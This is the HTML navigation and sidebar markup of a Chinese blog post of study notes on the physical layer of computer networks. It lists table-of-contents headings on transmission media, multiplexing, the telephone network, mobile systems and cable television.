href="#%E5%9F%BA%E5%B8%A6%E4%BC%A0%E8%BE%93%EF%BC%88baseband-transmission%EF%BC%89"><span class="toc-number">5.1.</span> <span class="toc-text">基带传输（baseband transmission）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%E6%95%88%E7%8E%87"><span class="toc-number">5.1.1.</span> <span class="toc-text">带宽效率</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%B6%E9%92%9F%E6%81%A2%E5%A4%8D"><span class="toc-number">5.1.2.</span> <span class="toc-text">时钟恢复</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B9%B3%E8%A1%A1%E4%BF%A1%E5%8F%B7"><span class="toc-number">5.1.3.</span> <span class="toc-text">平衡信号</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%80%9A%E5%B8%A6%E4%BC%A0%E8%BE%93%EF%BC%88passband-transmission%EF%BC%89"><span class="toc-number">5.2.</span> <span class="toc-text">通带传输（passband transmission）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%A2%91%E5%88%86%E5%A4%8D%E7%94%A8%EF%BC%88FDM-Frequency-Division-Multiplexing%EF%BC%89"><span class="toc-number">5.3.</span> <span class="toc-text">频分复用（FDM, Frequency Division Multiplexing）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%AD%A3%E4%BA%A4%E9%A2%91%E5%88%86%E5%A4%8D%E7%94%A8%EF%BC%88OFDM-Orthogonal-Frequency-Division-Multiplexing%EF%BC%89"><span class="toc-number">5.3.1.</span> <span class="toc-text">正交频分复用（OFDM, Orthogonal Frequency Division Multiplexing）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%97%B6%E5%88%86%E5%A4%8D%E7%94%A8%EF%BC%88TDM-Time-Division-Multiplexing%EF%BC%89"><span class="toc-number">5.4.</span> <span class="toc-text">时分复用（TDM, Time Division Multiplexing）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A0%81%E5%88%86%E5%A4%8D%E7%94%A8%EF%BC%88CDM-Code-Division-Multiplexing%EF%BC%89"><span class="toc-number">5.5.</span> <span class="toc-text">码分复用（CDM, Code Division Multiplexing）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%A0%81%E5%A4%9A%E5%88%86%E5%9D%80%EF%BC%88CDMA%EF%BC%89"><span class="toc-number">5.5.1.</span> <span class="toc-text">码多分址（CDMA）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%80%9A%E4%BF%A1%E7%B3%BB%E7%BB%9F%E5%AE%9E%E4%BE%8B"><span class="toc-number">6.</span> <span class="toc-text">通信系统实例*</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%85%AC%E5%85%B1%E7%94%B5%E8%AF%9D%E4%BA%A4%E6%8D%A2%E7%BD%91%E7%BB%9C%EF%BC%88PSTN-Public-Switched-Telephone-Network%EF%BC%89"><span class="toc-number">7.</span> <span class="toc-text">公共电话交换网络（PSTN, Public Switched Telephone Network）</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%B5%E8%AF%9D%E7%B3%BB%E7%BB%9F%E7%BB%93%E6%9E%84"><span class="toc-number">7.1.</span> <span class="toc-text">电话系统结构</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%AC%E5%9C%B0%E5%9B%9E%E8%B7%AF%EF%BC%9A%E8%B0%83%E5%88%B6%E8%A7%A3%E8%B0%83%E5%99%A8%E3%80%81ADSL%E3%80%81%E5%85%89%E7%BA%A4"><span class="toc-number">7.2.</span> <span class="toc-text">本地回路：调制解调器、ADSL、光纤</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B0%83%E5%88%B6%E8%A7%A3%E8%B0%83%E5%99%A8%EF%BC%88modem%EF%BC%89"><span class="toc-number">7.2.1.</span> <span class="toc-text">调制解调器（modem）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E5%AD%97%E7%94%A8%E6%88%B7%E7%BA%BF%EF%BC%88DSL-Digital-Subscriber-Line%EF%BC%89"><span class="toc-number">7.2.2.</span> <span class="toc-text">数字用户线（DSL, Digital Subscriber Line）</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#ADSL-%E6%A0%87%E5%87%86"><span class="toc-number">7.2.2.1.</span> <span class="toc-text">ADSL 标准</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BA%A4%E5%88%B0%E6%88%B7%EF%BC%88FttH-Fiber-to-the-Home%EF%BC%89"><span class="toc-number">7.2.3.</span> <span class="toc-text">光纤到户（FttH, Fiber to the Home）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%AD%E7%BB%A7%E7%BA%BF%EF%BC%88trunk%EF%BC%89%E5%92%8C%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8%EF%BC%88mulplexing%EF%BC%89"><span class="toc-number">7.3.</span> <span class="toc-text">中继线（trunk）和多路复用（mulplexing）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E5%AD%97%E5%8C%96%E8%AF%AD%E9%9F%B3%E4%BF%A1%E5%8F%B7"><span class="toc-number">7.3.1.</span> <span class="toc-text">数字化语音信号</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%B6%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8"><span class="toc-number">7.3.2.</span> <span class="toc-text">时分多路复用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SONET-SDH"><span class="toc-number">7.3.3.</span> <span class="toc-text">SONET &#x2F; SDH</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B3%A2%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8%EF%BC%88WDM-Wavelength-Division-Multiplexing%EF%BC%89"><span class="toc-number">7.3.4.</span> <span class="toc-text">波分多路复用（WDM, Wavelength Division Multiplexing）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BA%A4%E6%8D%A2%EF%BC%88switching%EF%BC%89"><span class="toc-number">7.4.</span> <span class="toc-text">交换（switching）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%B5%E8%B7%AF%E4%BA%A4%E6%8D%A2%EF%BC%88circuit-switching%EF%BC%89"><span class="toc-number">7.4.1.</span> <span class="toc-text">电路交换（circuit switching）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%8C%85%E4%BA%A4%E6%8D%A2%EF%BC%88packet-switching%EF%BC%89"><span class="toc-number">7.4.2.</span> <span class="toc-text">数据包交换（packet switching）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%B5%E8%B7%AF%E4%BA%A4%E6%8D%A2%E5%92%8C%E6%95%B0%E6%8D%AE%E5%8C%85%E4%BA%A4%E6%8D%A2%E7%9A%84%E6%AF%94%E8%BE%83"><span class="toc-number">7.4.3.</span> <span class="toc-text">电路交换和数据包交换的比较</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D%E7%B3%BB%E7%BB%9F"><span class="toc-number">8.</span> <span class="toc-text">移动电话系统*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E4%B8%80%E4%BB%A3%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D-1G-%E6%A8%A1%E6%8B%9F%E8%AF%AD%E9%9F%B3%EF%BC%88analog-voice%EF%BC%89"><span class="toc-number">8.1.</span> <span class="toc-text">第一代移动电话 1G : 模拟语音（analog voice）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E4%BA%8C%E4%BB%A3%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D-2G-%E6%95%B0%E5%AD%97%E8%AF%AD%E9%9F%B3%EF%BC%88digital-voice%EF%BC%89"><span class="toc-number">8.2.</span> <span class="toc-text">第二代移动电话 2G : 数字语音（digital voice）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E4%B8%89%E4%BB%A3%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D-3G-%E6%95%B0%E5%AD%97%E8%AF%AD%E9%9F%B3%E5%92%8C%E6%95%B0%E6%8D%AE%EF%BC%88digital-voice-data%EF%BC%89"><span class="toc-number">8.3.</span> <span class="toc-text">第三代移动电话 3G : 数字语音和数据（digital voice + data）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E5%9B%9B%E4%BB%A3%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D-4G"><span class="toc-number">8.4.</span> <span class="toc-text">第四代移动电话 4G</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%9C%89%E7%BA%BF%E7%94%B5%E8%A7%86"><span class="toc-number">9.</span> <span class="toc-text">有线电视*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%85%B1%E7%94%A8%E5%A4%A9%E7%BA%BF%E7%94%B5%E8%A7%86%EF%BC%88Community-Antenna-Television%EF%BC%89"><span class="toc-number">9.1.</span> <span class="toc-text">共用天线电视（Community Antenna Television）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BA%BF%E7%BC%86%E4%B8%8A%E7%9A%84-Internet"><span class="toc-number">9.2.</span> <span class="toc-text">线缆上的 Internet</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%A2%91%E8%B0%B1%E5%88%86%E9%85%8D%EF%BC%88spectrum-allocation%EF%BC%89"><span class="toc-number">9.3.</span> <span class="toc-text">频谱分配（spectrum allocation）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BA%BF%E7%BC%86%E8%B0%83%E5%88%B6%E8%A7%A3%E8%B0%83%E5%99%A8%EF%BC%88cable-modem%EF%BC%89"><span class="toc-number">9.4.</span> <span class="toc-text">线缆调制解调器（cable modem）</span></a></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a 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+</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/13/Notes/Computer%20Networks/The-Physical-Layer/">https://jckling.github.io/2018/06/13/Notes/Computer Networks/The-Physical-Layer/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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title="《计算机网络（英文版·第5版）》 The Transport Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-22</div><div class="title">《计算机网络（英文版·第5版）》 The Transport Layer</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%80%9A%E4%BF%A1%E7%9A%84%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%80"><span class="toc-number">1.</span> <span class="toc-text">数据通信的理论基础</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%82%85%E9%87%8C%E5%8F%B6%E5%88%86%E6%9E%90%EF%BC%88Fourier-Analysis%EF%BC%89"><span class="toc-number">1.1.</span> <span class="toc-text">傅里叶分析（Fourier Analysis）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B0%90%E6%B3%A2%EF%BC%88Harmonics%EF%BC%89"><span class="toc-number">1.1.1.</span> <span class="toc-text">谐波（Harmonics）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%82%85%E9%87%8C%E5%8F%B6%E5%85%AC%E5%BC%8F%EF%BC%88Fourier-Equation%EF%BC%89"><span class="toc-number">1.1.2.</span> <span class="toc-text">傅里叶公式（Fourier Equation）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%E6%9C%89%E9%99%90%E7%9A%84%E4%BF%A1%E5%8F%B7"><span class="toc-number">1.2.</span> <span class="toc-text">带宽有限的信号</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%9D%87%E6%96%B9%E6%A0%B9%EF%BC%88root-mean-square%EF%BC%89"><span class="toc-number">1.2.1.</span> <span class="toc-text">均方根（root-mean-square）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%EF%BC%88bandwidth%EF%BC%89"><span class="toc-number">1.2.2.</span> <span class="toc-text">带宽（bandwidth）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%E5%B1%9E%E6%80%A7%EF%BC%88property%EF%BC%89"><span class="toc-number">1.2.3.</span> <span class="toc-text">带宽属性（property）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AF%AD%E9%9F%B3%E7%BA%A7%E7%BA%BF%E8%B7%AF%EF%BC%88voice-grade-line%EF%BC%89"><span class="toc-number">1.2.4.</span> <span class="toc-text">语音级线路（voice-grade line）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%E7%9A%84%E4%B8%8D%E5%90%8C%E7%9C%8B%E6%B3%95"><span class="toc-number">1.2.5.</span> <span class="toc-text">带宽的不同看法</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BF%A1%E9%81%93%E7%9A%84%E6%9C%80%E5%A4%A7%E6%95%B0%E6%8D%AE%E9%80%9F%E7%8E%87"><span class="toc-number">1.3.</span> <span class="toc-text">信道的最大数据速率</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%A0%E5%99%AA%E5%A3%B0%E4%BF%A1%E9%81%93%EF%BC%88noiseless-channel%EF%BC%89"><span class="toc-number">1.3.1.</span> <span class="toc-text">无噪声信道（noiseless channel）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%89%E5%99%AA%E5%A3%B0%E4%BF%A1%E9%81%93%EF%BC%88noisy-channel%EF%BC%89"><span class="toc-number">1.3.2.</span> <span class="toc-text">有噪声信道（noisy channel）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%BC%95%E5%AF%BC%E6%80%A7%E4%BC%A0%E8%BE%93%E4%BB%8B%E8%B4%A8"><span class="toc-number">2.</span> <span class="toc-text">引导性传输介质</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A3%81%E4%BB%8B%E8%B4%A8%EF%BC%88magnetic-media%EF%BC%89"><span class="toc-number">2.1.</span> <span class="toc-text">磁介质（magnetic media）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8F%8C%E7%BB%9E%E7%BA%BF%EF%BC%88twisted-pairs%EF%BC%89"><span class="toc-number">2.2.</span> <span class="toc-text">双绞线（twisted pairs）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#5-%E7%B1%BB%E7%BA%BF%EF%BC%88Category-5%EF%BC%89%E6%88%96%E2%80%9C%E7%8C%AB-5%EF%BC%88Cat-5%EF%BC%89%E2%80%9D"><span class="toc-number">2.2.1.</span> <span class="toc-text">5 类线（Category 5）或“猫 5（Cat 5）”</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%93%BE%E8%B7%AF%E4%B8%8A%E7%9A%84%E4%BC%A0%E8%BE%93%E6%96%B9%E5%90%91"><span class="toc-number">2.2.2.</span> <span class="toc-text">链路上的传输方向</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#UTP-%E4%B8%8E-STP"><span class="toc-number">2.2.3.</span> <span class="toc-text">UTP 与 STP</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%90%8C%E8%BD%B4%E7%94%B5%E7%BC%86%EF%BC%88coaxial-cable%EF%BC%89"><span class="toc-number">2.3.</span> <span class="toc-text">同轴电缆（coaxial cable）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%B5%E5%8A%9B%E7%BA%BF%EF%BC%88power-lines%EF%BC%89"><span class="toc-number">2.4.</span> <span class="toc-text">电力线（power lines）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%85%89%E7%BA%A4%EF%BC%88fiber-optics%EF%BC%89"><span class="toc-number">2.5.</span> <span class="toc-text">光纤（fiber optics）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%A1%E7%AE%97%E5%92%8C%E9%80%9A%E4%BF%A1%E7%9A%84%E6%AF%94%E8%B5%9B"><span class="toc-number">2.5.1.</span> <span class="toc-text">计算和通信的比赛</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BA%A4"><span class="toc-number">2.5.2.</span> <span class="toc-text">光纤</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%8A%98%E5%B0%84%E4%B8%8E%E5%8F%8D%E5%B0%84"><span class="toc-number">2.5.2.1.</span> <span class="toc-text">折射与反射</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E5%85%89%E7%BA%A4%E4%BC%A0%E8%BE%93%E5%85%89"><span class="toc-number">2.5.2.2.</span> <span class="toc-text">光纤传输光</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E8%89%B2%E6%95%A3%E4%BC%A0%E6%92%AD%EF%BC%88chromatic-dispersion%EF%BC%89"><span class="toc-number">2.5.2.3.</span> <span class="toc-text">色散传播（chromatic dispersion）</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BC%86"><span class="toc-number">2.5.3.</span> <span class="toc-text">光缆</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BA%A4%E7%9A%84%E8%BF%9E%E6%8E%A5%E6%96%B9%E5%BC%8F"><span class="toc-number">2.5.4.</span> <span class="toc-text">光纤的连接方式</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E6%BA%90"><span class="toc-number">2.5.5.</span> <span class="toc-text">光源</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BA%A4%E6%8E%A5%E6%94%B6%E7%AB%AF"><span class="toc-number">2.5.6.</span> <span class="toc-text">光纤接收端</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BA%BF%E4%B8%8E%E9%93%9C%E7%BA%BF%E7%9A%84%E6%AF%94%E8%BE%83"><span class="toc-number">2.5.7.</span> <span class="toc-text">光线与铜线的比较</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%97%A0%E7%BA%BF%E4%BC%A0%E8%BE%93"><span class="toc-number">3.</span> <span class="toc-text">无线传输*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%B5%E7%A3%81%E9%A2%91%E8%B0%B1%EF%BC%88Electromagnetic-Spectrum%EF%BC%89"><span class="toc-number">3.1.</span> <span class="toc-text">电磁频谱（Electromagnetic Spectrum）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8%E8%BE%83%E5%AE%BD%E7%9A%84%E9%A2%91%E6%AE%B5"><span class="toc-number">3.1.1.</span> <span class="toc-text">使用较宽的频段</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%97%A0%E7%BA%BF%E7%94%B5%E4%BC%A0%E8%BE%93"><span class="toc-number">3.2.</span> <span class="toc-text">无线电传输</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%BE%AE%E6%B3%A2%E4%BC%A0%E8%BE%93"><span class="toc-number">3.3.</span> <span class="toc-text">微波传输</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%89%B9%E7%82%B9"><span class="toc-number">3.3.1.</span> <span class="toc-text">特点</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%B5%E7%A3%81%E9%A2%91%E8%B0%B1%E6%94%BF%E7%AD%96"><span class="toc-number">3.3.2.</span> <span class="toc-text">电磁频谱政策</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BA%A2%E5%A4%96%E4%BC%A0%E8%BE%93"><span class="toc-number">3.4.</span> <span class="toc-text">红外传输</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%85%89%E9%80%9A%E4%BF%A1"><span class="toc-number">3.5.</span> <span class="toc-text">光通信</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%80%9A%E4%BF%A1%E5%8D%AB%E6%98%9F"><span class="toc-number">4.</span> <span class="toc-text">通信卫星*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9C%B0%E7%90%83%E5%90%8C%E6%AD%A5%E5%8D%AB%E6%98%9F"><span class="toc-number">4.1.</span> <span class="toc-text">地球同步卫星</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%AD%E5%9C%B0%E7%90%83%E8%BD%A8%E9%81%93%E5%8D%AB%E6%98%9F"><span class="toc-number">4.2.</span> <span class="toc-text">中地球轨道卫星</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BD%8E%E5%9C%B0%E7%90%83%E8%BD%A8%E9%81%93%E5%8D%AB%E6%98%9F"><span class="toc-number">4.3.</span> <span class="toc-text">低地球轨道卫星</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%AD%E7%BB%A7"><span class="toc-number">4.3.1.</span> <span class="toc-text">中继</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8D%AB%E6%98%9F%E4%B8%8E%E5%85%89%E7%BA%A4"><span class="toc-number">4.4.</span> <span class="toc-text">卫星与光纤</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%95%B0%E5%AD%97%E8%B0%83%E5%88%B6-%E4%B8%8E%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8"><span class="toc-number">5.</span> <span class="toc-text">数字调制*与多路复用</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9F%BA%E5%B8%A6%E4%BC%A0%E8%BE%93%EF%BC%88baseband-transmission%EF%BC%89"><span class="toc-number">5.1.</span> <span class="toc-text">基带传输（baseband transmission）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%E6%95%88%E7%8E%87"><span class="toc-number">5.1.1.</span> <span class="toc-text">带宽效率</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%B6%E9%92%9F%E6%81%A2%E5%A4%8D"><span class="toc-number">5.1.2.</span> <span class="toc-text">时钟恢复</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B9%B3%E8%A1%A1%E4%BF%A1%E5%8F%B7"><span class="toc-number">5.1.3.</span> <span class="toc-text">平衡信号</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%80%9A%E5%B8%A6%E4%BC%A0%E8%BE%93%EF%BC%88passband-transmission%EF%BC%89"><span class="toc-number">5.2.</span> <span class="toc-text">通带传输（passband transmission）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%A2%91%E5%88%86%E5%A4%8D%E7%94%A8%EF%BC%88FDM-Frequency-Division-Multiplexing%EF%BC%89"><span class="toc-number">5.3.</span> <span class="toc-text">频分复用（FDM, Frequency Division Multiplexing）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%AD%A3%E4%BA%A4%E9%A2%91%E5%88%86%E5%A4%8D%E7%94%A8%EF%BC%88OFDM-Orthogonal-Frequency-Division-Multiplexing%EF%BC%89"><span class="toc-number">5.3.1.</span> <span class="toc-text">正交频分复用（OFDM, Orthogonal Frequency Division Multiplexing）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%97%B6%E5%88%86%E5%A4%8D%E7%94%A8%EF%BC%88TDM-Time-Division-Multiplexing%EF%BC%89"><span class="toc-number">5.4.</span> <span class="toc-text">时分复用（TDM, Time Division Multiplexing）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A0%81%E5%88%86%E5%A4%8D%E7%94%A8%EF%BC%88CDM-Code-Division-Multiplexing%EF%BC%89"><span class="toc-number">5.5.</span> <span class="toc-text">码分复用（CDM, Code Division Multiplexing）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%A0%81%E5%A4%9A%E5%88%86%E5%9D%80%EF%BC%88CDMA%EF%BC%89"><span class="toc-number">5.5.1.</span> <span class="toc-text">码多分址（CDMA）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%80%9A%E4%BF%A1%E7%B3%BB%E7%BB%9F%E5%AE%9E%E4%BE%8B"><span class="toc-number">6.</span> <span class="toc-text">通信系统实例*</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%85%AC%E5%85%B1%E7%94%B5%E8%AF%9D%E4%BA%A4%E6%8D%A2%E7%BD%91%E7%BB%9C%EF%BC%88PSTN-Public-Switched-Telephone-Network%EF%BC%89"><span class="toc-number">7.</span> <span class="toc-text">公共电话交换网络（PSTN, Public Switched Telephone Network）</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%B5%E8%AF%9D%E7%B3%BB%E7%BB%9F%E7%BB%93%E6%9E%84"><span class="toc-number">7.1.</span> <span class="toc-text">电话系统结构</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%AC%E5%9C%B0%E5%9B%9E%E8%B7%AF%EF%BC%9A%E8%B0%83%E5%88%B6%E8%A7%A3%E8%B0%83%E5%99%A8%E3%80%81ADSL%E3%80%81%E5%85%89%E7%BA%A4"><span class="toc-number">7.2.</span> <span class="toc-text">本地回路：调制解调器、ADSL、光纤</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B0%83%E5%88%B6%E8%A7%A3%E8%B0%83%E5%99%A8%EF%BC%88modem%EF%BC%89"><span class="toc-number">7.2.1.</span> <span class="toc-text">调制解调器（modem）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E5%AD%97%E7%94%A8%E6%88%B7%E7%BA%BF%EF%BC%88DSL-Digital-Subscriber-Line%EF%BC%89"><span class="toc-number">7.2.2.</span> <span class="toc-text">数字用户线（DSL, Digital Subscriber Line）</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#ADSL-%E6%A0%87%E5%87%86"><span class="toc-number">7.2.2.1.</span> <span class="toc-text">ADSL 标准</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BA%A4%E5%88%B0%E6%88%B7%EF%BC%88FttH-Fiber-to-the-Home%EF%BC%89"><span class="toc-number">7.2.3.</span> <span class="toc-text">光纤到户（FttH, 